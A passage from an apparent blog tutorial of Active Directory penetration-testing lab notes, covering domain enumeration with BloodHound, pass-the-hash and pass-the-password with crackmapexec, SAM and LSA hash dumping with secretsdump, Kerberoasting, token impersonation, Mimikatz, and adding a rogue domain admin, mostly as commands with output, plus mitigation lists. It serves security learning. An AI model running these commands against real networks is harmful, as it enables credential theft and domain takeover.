taking too long, look for websites in scope (http_version)</strong></p><p><strong>4. Look for default credentials on web logins</strong></p><p><strong>5. Think outside the box</strong></p><h3>VII. Attacking Active Directory — Post Compromise Enumeration</h3><h4>Domain Enumeration with ldapdomaindump</h4><p>MARVEL-DC: 192.168.19.128 THEPUNISHER: 192.168.19.129 SPIDERMAN: 192.168.19.130 HackerMan: 192.168.19.131</p><p>LdapDomainDump:</p><pre>mkdir marvel.local &amp;&amp; cd marvel.local</pre><pre>sudo ldapdomaindump ldaps://192.168.19.128 -u &#39;MARVEL\fcastle&#39; -p Password1</pre><pre>[*] Connecting to host...<br>[*] Binding to host<br>[+] Bind OK<br>[*] Starting domain dump<br>[+] Domain dump finished</pre><pre>ls</pre><pre>domain_computers.grep        domain_policy.json<br>domain_computers.html        domain_trusts.grep<br>domain_computers.json        domain_trusts.html<br>domain_computers_by_os.html  domain_trusts.json<br>domain_groups.grep           domain_users.grep<br>domain_groups.html           domain_users.html<br>domain_groups.json           domain_users.json<br>domain_policy.grep           domain_users_by_group.html<br>domain_policy.html</pre><p>View the dump:</p><pre>firefox domain_users_by_group.html</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*99wszkAYSPs_78x5" /></figure><ul><li>Get high value credentials</li><li>Get domain users</li><li>Utilize available info</li></ul><h4>Domain Enumeration with Bloodhound</h4><p>Start neo4j:</p><pre>sudo neo4j console</pre><pre>Directories in use:<br>home:         /usr/share/neo4j<br>config:       /usr/share/neo4j/conf<br>logs:         /etc/neo4j/logs<br>plugins:      /usr/share/neo4j/plugins<br>import:       /usr/share/neo4j/import<br>data:         /etc/neo4j/data<br>certificates: /usr/share/neo4j/certificates<br>licenses:     /usr/share/neo4j/licenses<br>run:          /var/lib/neo4j/run<br>Starting Neo4j.<br>2024-08-05 10:07:05.128+0000 INFO  Starting...<br>2024-08-05 10:07:05.332+0000 INFO  This instance is ServerId{25167f39} (25167f39-46b5-409f-91a1-64b55b3b7d33)<br>2024-08-05 10:07:05.839+0000 INFO  ======== Neo4j 4.4.26 ========<br>2024-08-05 10:07:06.634+0000 INFO  Initializing system graph model for component &#39;security-users&#39; with version -1 and status UNINITIALIZED<br>2024-08-05 10:07:06.638+0000 INFO  Setting up initial user from defaults: neo4j<br>2024-08-05 10:07:06.638+0000 INFO  Creating new user &#39;neo4j&#39; (passwordChangeRequired=true, suspended=false)<br>2024-08-05 10:07:06.642+0000 INFO  Setting version for &#39;security-users&#39; to 3<br>2024-08-05 10:07:06.643+0000 INFO  After initialization of system graph model component &#39;security-users&#39; have version 3 and status CURRENT<br>2024-08-05 10:07:06.645+0000 INFO  Performing postInitialization step for component &#39;security-users&#39; with version 3 and status CURRENT<br>2024-08-05 10:07:06.795+0000 INFO  Bolt enabled on localhost:7687.<br>2024-08-05 10:07:07.189+0000 INFO  Remote interface available at <a href="http://localhost:7474/">http://localhost:7474/</a><br>2024-08-05 10:07:07.191+0000 INFO  id: 822FDC62194D2DE143CF2F436E9D0D9538BE1C20BADF9AD6165C2FC72281E920<br>2024-08-05 10:07:07.191+0000 INFO  name: system<br>2024-08-05 10:07:07.191+0000 INFO  creationDate: 2024-08-05T10:07:06.127Z<br>2024-08-05 10:07:07.191+0000 INFO  Started.</pre><ul><li>Required for bloodhound</li><li><a href="http://localhost:7474/">http://localhost:7474/</a></li><li>new user ‘neo4j’</li><li>Set Password if first time login</li><li>Default password: neo4j / neo4j</li></ul><p>Start Bloodhound:</p><pre>sudo bloodhound</pre><ul><li>Enter password for neo4j in bloodhound</li><li>Collect data into bloodhound / injestors</li></ul><p>Run injestor:</p><pre>mkdir bloodhound &amp;&amp; cd bloodhound</pre><pre>sudo bloodhound-python -d MARVEL.local -u fcastle -p Password1 -ns 192.168.19.128 -c all<br>INFO: Found AD domain: marvel.local<br>INFO: Getting TGT for user<br>WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (hydra-dc.marvel.local:88)] [Errno -2] Name or service not known<br>INFO: Connecting to LDAP server: hydra-dc.marvel.local<br>INFO: Found 1 domains<br>INFO: Found 1 domains in the forest<br>INFO: Found 3 computers<br>INFO: Connecting to LDAP server: hydra-dc.marvel.local<br>INFO: Found 8 users<br>INFO: Found 52 groups<br>INFO: Found 3 gpos<br>INFO: Found 2 ous<br>INFO: Found 19 containers<br>INFO: Found 0 trusts<br>INFO: Starting computer enumeration with 10 workers<br>INFO: Querying computer: SPIDERMAN.MARVEL.LOCAL<br>INFO: Querying computer: THEPUNIISHER.MARVEL.LOCAL<br>INFO: Querying computer: HYDRA-DC.MARVEL.LOCAL<br>INFO: Done in 00M 00S</pre><pre>ls<br>20240805051303_computers.json   20240805051303_gpos.json    20240805051303_users.json<br>20240805051303_containers.json  20240805051303_groups.json<br>20240805051303_domains.json     20240805051303_ous.json</pre><p>Import data into bloodhound:</p><ol><li>Select upload data</li><li>Select the location used to store the data</li><li>Select all and open</li></ol><h4>Domain Enumeration with Plumhound</h4><p>Installing Plumhound:</p><pre>git clone https://github.com/PlumHound/PlumHound.git<br>cd PlumHound<br>pip3 install -r requirements.txt</pre><p>Utilize Plumhound:</p><pre>sudo python3 PlumHound.py --easy -p password<br>...<br>Completed 1 of 1 tasks.</pre><ul><li>Bloodhound and neo4j must be open!</li></ul><p>Execute task:</p><pre>sudo python3 PlumHound.py -x tasks/default.tasks -p password<br>...<br>Completed 114 of 114 tasks.</pre><pre>cd reports</pre><pre>firefox index.html</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VliiTQIbUhmuXPDO" /></figure><h3>VIII. Attacking Active Directory Post-Compromise Attacks :</h3><h4>Pass Attacks Overview</h4><h4><strong>Explanation</strong></h4><p>Pass attacks are a type of cybersecurity threat where attackers use captured credentials, such as passwords or hashes, to move laterally within a network and gain unauthorized access to systems. The primary goal is to find a valid login on one of the machines within the network, allowing the attacker to escalate privileges and potentially compromise the entire system.</p><p>Pass the Hash is a hacking technique where an attacker captures a hashed version of a password and uses it to authenticate themselves without needing to know the actual password.</p><p>Pass the Password is a simpler concept compared to Pass the Hash. In this attack, the actual plaintext password is captured and used directly by the attacker.</p><h4>Workflow</h4><h4>1. Initial Access</h4><ul><li>Objective: Gain a foothold in the network.</li></ul><p>Methods:</p><ul><li>Phishing: Sending emails with malicious attachments or links to employees to trick them into revealing credentials or installing malware.</li><li>Exploiting Vulnerabilities: Taking advantage of known vulnerabilities in software or systems to gain access.</li><li>Social Engineering: Manipulating individuals to disclose sensitive information or credentials.</li></ul><h4>2. Credential Harvesting</h4><ul><li>Objective: Capture user credentials, either in plaintext or hashed form.</li></ul><p>Methods:</p><ul><li>Keylogging: Using malware to record keystrokes and capture usernames and passwords.</li><li>Memory Dumping: Extracting password hashes directly from the computer’s memory.</li><li>Network Sniffing: Monitoring unencrypted network traffic to capture credentials being transmitted.</li></ul><h4>3. Credential Analysis</h4><ul><li>Objective: Identify useful credentials for lateral movement.</li></ul><p>Methods:</p><ul><li>Analyzing Hashes: Reviewing captured password hashes to determine their potential usability.</li><li>Cracking Passwords: Attempting to decrypt hashed passwords using tools like John the Ripper or Hashcat, especially for weak or common passwords.</li></ul><h4>4. Lateral Movement</h4><ul><li>Objective: Move through the network using stolen credentials.</li></ul><p>Methods:</p><ul><li>Pass the Hash (PtH): Using hashed credentials to authenticate with other machines on the network without needing the plaintext password.</li><li>Pass the Password: Using plaintext passwords to log into other machines directly.</li><li>Remote Access Tools: Utilizing tools like RDP (Remote Desktop Protocol) or PsExec to execute commands on remote machines.</li></ul><h4>How to “Crackmapexec”</h4><p>Pass the Password:</p><pre>crackmapexec smb &lt;ip/CIDR&gt; -u &lt;user&gt; -d &lt;domain&gt; -p &lt;passwd&gt;</pre><pre>crackmapexec smb 10.0.2.0/24 -u fcastle -d MARVEL.local -p Password123</pre><p>Pass the Hash:</p><pre>crackmapexec smb &lt;ip/CIDR&gt; -u &lt;user&gt; -H &lt;hash&gt; --local-auth</pre><pre>crackmapexec smb 10.0.2.0/24 -u administrator -H $hash --local-auth</pre><p>Dump SAM hashes:</p><pre>crackmapexec smb &lt;ip/CIDR&gt; -u &lt;user&gt;&gt; -H &lt;hash&gt; --local-auth --sam</pre><pre>crackmapexec smb 10.0.2.0/24 -u administrator -H $hash --local-auth --sam</pre><p>Dump shares:</p><pre>crackmapexec smb &lt;ip/CIDR&gt; -u &lt;user&gt; -H &lt;hash&gt; --local-auth --shares</pre><pre>crackmapexec smb 10.0.2.0/24 -u administrator -H $hash --local-auth --shares</pre><p>Dump lsass with lsassy:</p><pre>crackmapexec smb &lt;ip/CIDR&gt; -u &lt;user&gt; -H &lt;hash&gt; --local-auth -M lsassy</pre><pre>crackmapexec smb 10.0.2.0/24 -u administrator -H $hash --local-auth -M lsassy</pre><p>Show built in modules:</p><pre>crackmapexec smb -L</pre><h4>Grab local hashes</h4><p>Get hashes via <a href="https://github.com/fin3ss3g0d/secretsdump.py">secretsdump</a>:</p><pre>secretsdump.py &lt;domain&gt;/&lt;user&gt;:&lt;passwd&gt;@&lt;ip&gt;</pre><pre>secretsdump.py MARVEL.local/fcastle:Password123@10.0.2.25</pre><p>Get hashes via metasploit:</p><pre>msfconsole -q<br>use windows/smb/psexec</pre><h4>Pass Attacks</h4><p>Using crackmapexec to pass the password smb:</p><pre>crackmapexec smb 192.168.19.0/24 -u fcastle -d MARVEL.local -p Password1</pre><pre>SMB         192.168.19.130  445    SPIDERMAN        [*] Windows 10 / Server 2019 Build 19041 x64 (name:SPIDERMAN) (domain:MARVEL.local) (signing:False) (SMBv1:False)<br>SMB         192.168.19.129  445    THEPUNIISHER     [*] Windows 10 / Server 2019 Build 19041 x64 (name:THEPUNIISHER) (domain:MARVEL.local) (signing:False) (SMBv1:False)<br>SMB         192.168.19.128  445    HYDRA-DC         [*] Windows Server 2022 Build 20348 x64 (name:HYDRA-DC) (domain:MARVEL.local) (signing:True) (SMBv1:False)<br>SMB         192.168.19.130  445    SPIDERMAN        [+] MARVEL.local\fcastle:Password1 (Pwn3d!)<br>SMB         192.168.19.129  445    THEPUNIISHER     [+] MARVEL.local\fcastle:Password1 (Pwn3d!)<br>SMB         192.168.19.128  445    HYDRA-DC         [+] MARVEL.local\fcastle:Password1</pre><p>Using crackmapexec to pass the hash smb:</p><p>aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04</p><pre>crackmapexec smb 192.168.19.0/24 -u administrator -H <br>aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f --local-auth</pre><pre>SMB         192.168.19.129  445    THEPUNIISHER     [*] Windows 10 / Server 2019 Build 19041 x64 (name:THEPUNIISHER) (domain:THEPUNIISHER) (signing:False) (SMBv1:False)<br>SMB         192.168.19.128  445    HYDRA-DC         [*] Windows Server 2022 Build 20348 x64 (name:HYDRA-DC) (domain:HYDRA-DC) (signing:True) (SMBv1:False)<br>SMB         192.168.19.130  445    SPIDERMAN        [*] Windows 10 / Server 2019 Build 19041 x64 (name:SPIDERMAN) (domain:SPIDERMAN) (signing:False) (SMBv1:False)<br>SMB         192.168.19.129  445    THEPUNIISHER     [+] THEPUNIISHER\administrator:7facdc498ed1680c4fd1448319a8c04f (Pwn3d!)<br>SMB         192.168.19.128  445    HYDRA-DC         [-] HYDRA-DC\administrator:7facdc498ed1680c4fd1448319a8c04f STATUS_LOGON_FAILURE <br>SMB         192.168.19.130  445    SPIDERMAN        [+] SPIDERMAN\administrator:7facdc498ed1680c4fd1448319a8c04f (Pwn3d!)</pre><p>Dump sam on login with hash:</p><pre>crackmapexec smb 192.168.19.1/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f --local-auth --sam</pre><pre>SMB         192.168.19.129  445    THEPUNIISHER     [*] Windows 10 / Server 2019 Build 19041 x64 (name:THEPUNIISHER) (domain:THEPUNIISHER) (signing:False) (SMBv1:False)<br>SMB         192.168.19.130  445    SPIDERMAN        [*] Windows 10 / Server 2019 Build 19041 x64 (name:SPIDERMAN) (domain:SPIDERMAN) (signing:False) (SMBv1:False)<br>SMB         192.168.19.128  445    HYDRA-DC         [*] Windows Server 2022 Build 20348 x64 (name:HYDRA-DC) (domain:HYDRA-DC) (signing:True) (SMBv1:False)<br>SMB         192.168.19.129  445    THEPUNIISHER     [+] THEPUNIISHER\administrator:7facdc498ed1680c4fd1448319a8c04f (Pwn3d!)<br>SMB         192.168.19.130  445    SPIDERMAN        [+] SPIDERMAN\administrator:7facdc498ed1680c4fd1448319a8c04f (Pwn3d!)<br>SMB         192.168.19.128  445    HYDRA-DC         [-] HYDRA-DC\administrator:7facdc498ed1680c4fd1448319a8c04f STATUS_LOGON_FAILURE <br>SMB         192.168.19.129  445    THEPUNIISHER     [+] Dumping SAM hashes<br>SMB         192.168.19.130  445    SPIDERMAN        [+] Dumping SAM hashes<br>SMB         192.168.19.130  445    SPIDERMAN        Administrator:500:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f:::                                                                              <br>SMB         192.168.19.129  445    THEPUNIISHER     Administrator:500:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f:::                                                                              <br>SMB         192.168.19.130  445    SPIDERMAN        Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                      <br>SMB         192.168.19.129  445    THEPUNIISHER     Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                                      <br>SMB         192.168.19.130  445    SPIDERMAN        DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                             <br>SMB         192.168.19.129  445    THEPUNIISHER     DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::                                                                             <br>SMB         192.168.19.130  445    SPIDERMAN        WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:0aa9b733995e73670d03cbc4a56bf3f1:::                                                                         <br>SMB         192.168.19.129  445    THEPUNIISHER     WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:db43af5f1c3e46a5292aef7da51cc244:::                                                                         <br>SMB         192.168.19.130  445    SPIDERMAN        peterparker:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::                                                                               <br>SMB         192.168.19.130  445    SPIDERMAN        [+] Added 5 SAM hashes to the database<br>SMB         192.168.19.129  445    THEPUNIISHER     frankcastle:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::                                                                               <br>SMB         192.168.19.129  445    THEPUNIISHER     [+] Added 5 SAM hashes to the database</pre><p>Enumerating shares with hash:</p><pre>rackmapexec smb 192.168.19.1/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f --local-auth --shares</pre><pre>SMB         192.168.19.128  445    HYDRA-DC         [*] Windows Server 2022 Build 20348 x64 (name:HYDRA-DC) (domain:HYDRA-DC) (signing:True) (SMBv1:False)<br>SMB         192.168.19.130  445    SPIDERMAN        [*] Windows 10 / Server 2019 Build 19041 x64 (name:SPIDERMAN) (domain:SPIDERMAN) (signing:False) (SMBv1:False)<br>SMB         192.168.19.129  445    THEPUNIISHER     [*] Windows 10 / Server 2019 Build 19041 x64 (name:THEPUNIISHER) (domain:THEPUNIISHER) (signing:False) (SMBv1:False)<br>SMB         192.168.19.128  445    HYDRA-DC         [-] HYDRA-DC\administrator:7facdc498ed1680c4fd1448319a8c04f STATUS_LOGON_FAILURE <br>SMB         192.168.19.130  445    SPIDERMAN        [+] SPIDERMAN\administrator:7facdc498ed1680c4fd1448319a8c04f (Pwn3d!)<br>SMB         192.168.19.129  445    THEPUNIISHER     [+] THEPUNIISHER\administrator:7facdc498ed1680c4fd1448319a8c04f (Pwn3d!)<br>SMB         192.168.19.130  445    SPIDERMAN        [+] Enumerated shares<br>SMB         192.168.19.130  445    SPIDERMAN        Share           Permissions     Remark<br>SMB         192.168.19.130  445    SPIDERMAN        -----           -----------     ------<br>SMB         192.168.19.130  445    SPIDERMAN        ADMIN$          READ,WRITE      Remote Admin<br>SMB         192.168.19.130  445    SPIDERMAN        C$              READ,WRITE      Default share<br>SMB         192.168.19.130  445    SPIDERMAN        IPC$            READ            Remote IPC<br>SMB         192.168.19.129  445    THEPUNIISHER     [+] Enumerated shares<br>SMB         192.168.19.129  445    THEPUNIISHER     Share           Permissions     Remark<br>SMB         192.168.19.129  445    THEPUNIISHER     -----           -----------     ------<br>SMB         192.168.19.129  445    THEPUNIISHER     ADMIN$          READ,WRITE      Remote Admin<br>SMB         192.168.19.129  445    THEPUNIISHER     C$              READ,WRITE      Default share<br>SMB         192.168.19.129  445    THEPUNIISHER     IPC$            READ            Remote IPC</pre><p>Dumping LSA with hash:</p><pre>crackmapexec smb 192.168.19.1/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f --local-auth --lsa</pre><pre>SMB         192.168.19.129  445    THEPUNIISHER     [*] Windows 10 / Server 2019 Build 19041 x64 (name:THEPUNIISHER) (domain:THEPUNIISHER) (signing:False) (SMBv1:False)<br>SMB         192.168.19.128  445    HYDRA-DC         [*] Windows Server 2022 Build 20348 x64 (name:HYDRA-DC) (domain:HYDRA-DC) (signing:True) (SMBv1:False)<br>SMB         192.168.19.130  445    SPIDERMAN        [*] Windows 10 / Server 2019 Build 19041 x64 (name:SPIDERMAN) (domain:SPIDERMAN) (signing:False) (SMBv1:False)<br>SMB         192.168.19.129  445    THEPUNIISHER     [+] THEPUNIISHER\administrator:7facdc498ed1680c4fd1448319a8c04f (Pwn3d!)<br>SMB         192.168.19.128  445    HYDRA-DC         [-] HYDRA-DC\administrator:7facdc498ed1680c4fd1448319a8c04f STATUS_LOGON_FAILURE <br>SMB         192.168.19.130  445    SPIDERMAN        [+] SPIDERMAN\administrator:7facdc498ed1680c4fd1448319a8c04f (Pwn3d!)<br>SMB         192.168.19.129  445    THEPUNIISHER     [+] Dumping LSA secrets</pre><p>CME Database:</p><pre>cmedb</pre><pre>help</pre><pre>Undocumented commands:<br>======================<br>back  creds  exit  export  groups  hosts  import  shares</pre><h4>Dumping and Cracking Hashes</h4><p>Secretsdump with password:</p><pre>impacket-secretsdump MARVEL.local/fcastle:&quot;Password1&quot;@192.168.19.129</pre><pre>Impacket v0.12.0.dev1 - Copyright 2023 Fortra<br>[*] Service RemoteRegistry is in stopped state<br>[*] Service RemoteRegistry is disabled, enabling it<br>[*] Starting service RemoteRegistry<br>[*] Target system bootKey: 0xd047c620fac6a2e976be40673fb5db5a<br>[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)<br>Administrator:500:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f:::<br>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:db43af5f1c3e46a5292aef7da51cc244:::<br>frankcastle:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::<br>[*] Dumping cached domain logon information (domain/username:hash)<br>MARVEL.LOCAL/Administrator:$DCC2$10240#Administrator#c7154f935b7d1ace4c1d72bd4fb7889c: (2024-08-03 10:05:03)<br>MARVEL.LOCAL/fcastle:$DCC2$10240#fcastle#e6f48c2526bd594441d3da3723155f6f: (2024-08-07 12:54:19)<br>[*] Dumping LSA Secrets<br>[*] $MACHINE.ACC <br>MARVEL\THEPUNIISHER$:aes256-cts-hmac-sha1-96:3eee5f1fac6e4900626cc75abe8c972cf5aca7afa5e9bdf2217e3b45a50e60f1<br>MARVEL\THEPUNIISHER$:aes128-cts-hmac-sha1-96:93be3de903b9e3fb96f3a36e8d088de2<br>MARVEL\THEPUNIISHER$:des-cbc-md5:ce017f54cb7568a1<br>MARVEL\THEPUNIISHER$:plain_password_hex:3900480062004f005200730028002400770060005c0063006d003f004c002c002700700072004a007100640035006e006c0025004c0051003d006100680062004400540043002b0051006f0029004100280071002800460069003300280039007a00220074003a004e002c00700032004e002f00660065003c006f0073005b0054005100730024004c0064006a007500300052002e004a005900670068004a00600062005f004a0040006700260060007000610026004b002b003c005b004f005d005a0073004e0063004d005500720037007000710037004d007a003c002d0044002f0047004b004100300025005a00<br>MARVEL\THEPUNIISHER$:aad3b435b51404eeaad3b435b51404ee:df445bc28b47760bfe727b9c498614d9:::<br>[*] DPAPI_SYSTEM <br>dpapi_machinekey:0x4cca91f75a1d5637c475f78b83a04de461703fc9<br>dpapi_userkey:0x8850f8a2adfaf3b43c402166799c8aeb5304e8d5<br>[*] NL$KM <br> 0000   4B 2F 81 80 81 01 5C D3  4F 1E 32 12 EA 5A 44 E9   K/....\.O.2..ZD.<br> 0010   ED 92 02 1B 47 91 4F E6  CF 59 8A 17 19 0A B7 CE   ....G.O..Y......<br> 0020   98 4D FA D8 F0 E9 DC 57  28 83 21 E1 0E 29 0B E4   .M.....W(.!..)..<br> 0030   16 33 0E 7D B1 19 0C FD  04 AB 78 DB 86 E6 13 78   .3.}......x....x<br>NL$KM:4b2f818081015cd34f1e3212ea5a44e9ed92021b47914fe6cf598a17190ab7ce984dfad8f0e9dc57288321e10e290be416330e7db1190cfd04ab78db86e61378<br>[*] Cleaning up... <br>[*] Stopping service RemoteRegistry<br>[*] Restoring the disabled state for service RemoteRegistry</pre><ul><li>Dumps SAM Hash</li><li>Domain logging information</li><li>DCC2</li><li>LSA Secrets Do this for every machine you got access to!</li></ul><p>Secretsdump with hash: aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04</p><pre>impacket-secretsdump administrator:@192.168.19.130 -hashes aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04</pre><p>Cracking NTLM:</p><pre>hashcat -m 1000 hashes.txt wordlists.txt</pre><h4>Pass Attack Mitigations</h4><p><strong>1. Do not reuse accounts!</strong></p><ul><li>Avoid reusing admin passwords</li><li>Disable Guest and admin accounts</li><li>Limit who is a admin</li></ul><p><strong>2. Use Strong passwords!</strong></p><ul><li>Long password is gud</li><li>Stop using common words!</li><li>Use a mix of numbers Capital, lowercase letters and special characters!!</li></ul><p><strong>3. Privilege Access Management (PAM)</strong></p><ul><li>Check out / in sensitive accounts when needed</li><li>Auto rotating passwords on check out and check in</li><li>Limit pass attacks as hash / password is strong and constantly rotated</li></ul><h3>Kerberoasting Overview</h3><h4>What is Kerberos?</h4><p>Kerberos is an authentication protocol designed to provide secure and mutual authentication between users and services over a network. It uses tickets to authenticate users and services, and it relies on symmetric key cryptography.</p><ul><li>Key Distribution Center (KDC): This is the central authority that issues tickets. In Windows environments, the KDC is typically part of the domain controller.</li><li>Ticket Granting Ticket (TGT): Obtained when a user first logs in, it allows the user to request service tickets.</li><li>Service Ticket (TGS): A ticket used to access specific services, encrypted with the service account’s password hash.</li></ul><h4>Kerberoasting Attack Explained</h4><p>Kerberoasting leverages the design of the Kerberos protocol to extract service tickets that are encrypted using the service account’s password hash. By capturing these tickets, an attacker can attempt to crack the hash offline, potentially revealing the service account’s password.</p><h4>Steps in a Kerberoasting Attack:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iiKSnRQGrN6zKWrb" /></figure><p>Enumerate Service Principal Names (SPNs):</p><ul><li>The attacker scans the network to identify SPNs associated with service accounts. Each SPN corresponds to a service running under a domain account.</li><li>Tools like PowerView or ldapsearch can be used to perform this enumeration.</li></ul><p>Request Service Tickets:</p><ul><li>Once SPNs are identified, the attacker requests service tickets (TGS) for these services using their user credentials.</li><li>These requests do not require elevated privileges and can be made by any authenticated domain user.</li></ul><p>Capture Encrypted Service Tickets:</p><ul><li>The KDC responds with service tickets encrypted with the service account’s password hash.</li><li>The attacker captures these tickets for offline analysis.</li></ul><p>Crack the Password Hashes:</p><ul><li>Using tools like John the Ripper or Hashcat, the attacker attempts to crack the password hash offline.</li><li>The goal is to reveal the plaintext password, which can be used to gain access to sensitive systems and data.</li></ul><h4>Why is Kerberoasting Effective?</h4><ul><li>Low Privilege Requirement: Any domain user can request service tickets, making it easy to launch an attack without elevated privileges.</li><li>Offline Cracking: The attacker can crack password hashes offline, allowing them to use extensive resources without alerting network defenses.</li><li>Targeted Service Accounts: Service accounts often have weak or poorly managed passwords, making them susceptible to cracking.</li></ul><h4>Real-World Implications of Kerberoasting</h4><p>Kerberoasting is often a critical step in a broader attack strategy, especially in Advanced Persistent Threats (APTs), where attackers aim for stealthy and prolonged access to systems. Once a service account’s credentials are compromised, attackers may:</p><ul><li>Pivot to Other Systems: Use the service account to move laterally across the network, accessing additional resources.</li><li>Escalate Privileges: Leverage compromised accounts to gain higher-level access, potentially reaching domain administrator levels.</li><li>Exfiltrate Data: Access and extract sensitive data, leading to breaches of confidential information.</li></ul><h4>Kerberosting Walkthrough</h4><p>Running GetUserSPNs:</p><pre>sudo impacket-GetUserSPNs MARVEL.local/fcastle:Password1 -dc-ip 192.168.19.128 -request</pre><pre>ServicePrincipalName                    Name        MemberOf                                                     PasswordLastSet             LastLogon  Delegation <br>--------------------------------------  ----------  -----------------------------------------------------------  --------------------------  ---------  ----------<br>HYDRA-DC/SQLService.MARVEL.local:60111  SQLService  CN=Group Policy Creator Owners,OU=Groups,DC=MARVEL,DC=LOCAL  2024-08-01 08:47:04.374731  &lt;never&gt;               </pre><pre>[-] CCache file is not found. Skipping...<br>$krb5tgs$23$*SQLService$MARVEL.LOCAL$MARVEL.local/SQLService*$1af0dd5b9abb...d5b165dc6ceb</pre><p>Hash: $krb5tgs$23$*SQLService$MARVEL.LOCAL$MARVEL.local/SQLService*$1af0dd5b9abb....c6ceb</p><p>Cracking the hash:</p><pre>./hashcat -m 13100 .\hashes\hash.txt .\wordlists\rockyou.txt</pre><p>Password: :MYpassword123#</p><h3>Kerberoasting Mitigation</h3><p><strong>1. Service Account Management:</strong></p><ul><li>Use strong, complex passwords for service accounts.</li><li>Regularly rotate passwords to reduce the window of opportunity for attackers.</li></ul><p><strong>2. Least Privilege Principle:</strong></p><ul><li>Limit the privileges of service accounts to the minimum necessary for their operation.</li><li>Avoid using domain administrator accounts as service accounts.</li></ul><p><strong>3. Monitor for Unusual Ticket Requests:**</strong></p><ul><li>Set up monitoring for abnormal TGS requests, especially from non-privileged accounts.</li><li>Use tools like Microsoft Advanced Threat Analytics (ATA) to detect suspicious activities.</li></ul><p><strong>4. Implement Managed Service Accounts (MSAs):</strong></p><ul><li>Use MSAs or Group Managed Service Accounts (gMSAs), which automatically manage account passwords.</li></ul><p><strong>5. Enable Kerberos Armoring (FAST):</strong></p><ul><li>Use Kerberos armoring to encrypt the entire Kerberos communication, making it harder for attackers to capture tickets.</li></ul><p><strong>6. Audit and Log Analysis:</strong></p><ul><li>Regularly audit logs for unusual access patterns.</li><li>Use Security Information and Event Management (SIEM) solutions to correlate and analyze events.</li></ul><p><strong>7. Limit SPN Exposure:</strong></p><ul><li>Regularly review SPNs to ensure they are necessary and minimize exposure.</li><li>Ensure that SPNs are not associated with high-privileged accounts unnecessarily.</li></ul><h3>Token Impersonation Overview</h3><p><strong>What are tokens?</strong></p><ul><li>Tokens are temporary keys that allows access to a system without providing credentials. Cookies for example are tokens!</li></ul><p><strong>Token types:</strong></p><ul><li><em>Delegate</em> tokens are used for logging into a machine</li><li><em>Impersonate</em> tokens are used for non-interactive tasks such as attaching a network drive or a domain logon script</li></ul><p><strong>Token Impersonation using msf:</strong></p><p>After shell access:</p><pre>getuid<br>load incognito<br>list_tokens -u</pre><pre>impersonate_token marvel\\fcastle<br>shell</pre><p>Successful impersonation will result a shell as the domain user!</p><p><strong>Dump hashes with mimikatz</strong></p><pre>Invoke-Mimikatz -Command &#39;&quot;privilege::debug&quot; &quot;LSADump::LSA /patch&quot; exit&#39; -Computer HYDRA.marvel.local</pre><p><strong>Attempt to add a new user as Domain Admin:</strong></p><pre>net user /add hawkeye Password1@ /domain net user /add hawkeye Password1@ /domain</pre><pre>net group &quot;Domain Admins&quot; hawkeye /ADD /DOMAIN</pre><p><strong>Compromise the DC</strong></p><pre>Impacket-secretsdump MARVEL.local/hawkeye:&#39;Password1@&#39;192.168.19.128</pre><h4>Token Impersonation Mitigation</h4><ol><li>Limit user / group token creation permission</li><li>Account tiering</li><li>Local admin restriction</li><li>Limit Token Lifetime</li><li>Implement Credential Guard</li><li>Endpoint Protection and Monitoring</li><li>Regular Patch Management</li><li>Audit and Monitoring</li><li>Implementing Secure Admin Workstations (SAWs)</li><li>Use of Network Segmentation and Isolation</li><li>Zero Trust Architecture</li></ol><h3>Mimikatz Overview &amp; Credential Dumping</h3><p><a href="https://github.com/gentilkiwi/mimikatz">https://github.com/gentilkiwi/mimikatz</a></p><h4>Overview</h4><ul><li>Tool used to view and steal credentials, generate Kerberos tickets, and leverage attacks</li><li>Dump credentials stored in memory</li><li>Credential Dumping, Pass-The-Hash, Over-Pass-The-Hash, Pass-The-Ticket, Silver Ticket, Golden Ticket, etc.</li></ul><h4>Credential Dumping</h4><p>Start up mimikatz with local administrative privilege:</p><pre>.\mimikatz.exe</pre><p><strong>List privileges:</strong></p><pre>privilege::</pre><pre>Module :        privilege<br>Full name :     Privilege module</pre><pre>           debug  -  Ask debug privilege<br>          driver  -  Ask load driver privilege<br>        security  -  Ask security privilege<br>             tcb  -  Ask tcb privilege<br>          backup  -  Ask backup privilege<br>         restore  -  Ask restore privilege<br>          sysenv  -  